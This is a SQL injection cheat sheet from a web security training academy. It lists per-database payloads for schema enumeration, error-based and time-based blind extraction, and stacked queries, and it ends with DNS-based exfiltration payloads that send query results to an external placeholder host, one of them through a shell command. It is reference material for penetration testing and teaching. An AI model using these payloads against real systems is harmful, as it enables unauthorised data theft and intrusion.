SQL Injection Cheat Sheet

Source: PortSwigger Web Security Academy

This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.

String Concatenation

You can concatenate together multiple strings to make a single string.

Database	Syntax
Oracle	'foo'||'bar'
Microsoft	'foo'+'bar'
PostgreSQL	'foo'||'bar'
MySQL	'foo' 'bar' [Note the space between the two strings] CONCAT('foo','bar')

Substring

You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba.

Database	Syntax
Oracle	SUBSTR('foobar', 4, 2)
Microsoft	SUBSTRING('foobar', 4, 2)
PostgreSQL	SUBSTRING('foobar', 4, 2)
MySQL	SUBSTRING('foobar', 4, 2)

Comments

You can use comments to truncate a query and remove the portion of the original query that follows your input.

Database	Syntax
Oracle	--comment
Microsoft	--comment /*comment*/
PostgreSQL	--comment /*comment*/
MySQL	#comment -- comment [Note the space after the double dash] /*comment*/

Database Version

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

Database	Syntax
Oracle	SELECT banner FROM v$version SELECT version FROM v$instance
Microsoft	SELECT @@version
PostgreSQL	SELECT version()
MySQL	SELECT @@version

Database Contents

You can list the tables that exist in the database, and the columns that those tables contain.

Database	Syntax
Oracle	SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft	SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL	SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL	SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Conditional Errors

You can test a single boolean condition and trigger a database error if the condition is true.

Database	Syntax
Oracle	SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft	SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL	1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
MySQL	SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

Extracting Data via Visible Error Messages

You can potentially elicit error messages that leak sensitive data returned by your malicious query.

Database	Syntax	Error Message
Microsoft	SELECT 'foo' WHERE 1 = (SELECT 'secret')	Conversion failed when converting the varchar value 'secret' to data type int.
PostgreSQL	SELECT CAST((SELECT password FROM users LIMIT 1) AS int)	invalid input syntax for integer: "secret"
MySQL	SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))	XPATH syntax error: '\secret'

Batched (or Stacked) Queries

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

Database	Syntax
Oracle	Does not support batched queries.
Microsoft	QUERY-1-HERE; QUERY-2-HERE QUERY-1-HERE QUERY-2-HERE
PostgreSQL	QUERY-1-HERE; QUERY-2-HERE
MySQL	QUERY-1-HERE; QUERY-2-HERE

Note: With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database.

Time Delays

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

Database	Syntax
Oracle	dbms_pipe.receive_message(('a'),10)
Microsoft	WAITFOR DELAY '0:0:10'
PostgreSQL	SELECT pg_sleep(10)
MySQL	SELECT SLEEP(10)

Conditional Time Delays

You can test a single boolean condition and trigger a time delay if the condition is true.

Database	Syntax
Oracle	SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Microsoft	IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQL	SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL	SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')

DNS Lookup

You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.

Oracle

XXE vulnerability to trigger a DNS lookup (The vulnerability has been patched but there are many unpatched Oracle installations in existence):

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

The following technique works on fully patched Oracle installations, but requires elevated privileges:

SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')

Microsoft

exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'

PostgreSQL

copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'

MySQL

The following techniques work on Windows only:

LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

DNS Lookup with Data Exfiltration

You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.

Oracle

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'\|\|(SELECT YOUR-QUERY-HERE)\|\|'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

Microsoft

declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')

PostgreSQL

create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '\|\|p\|\|'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();

MySQL

The following technique works on Windows only:

SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'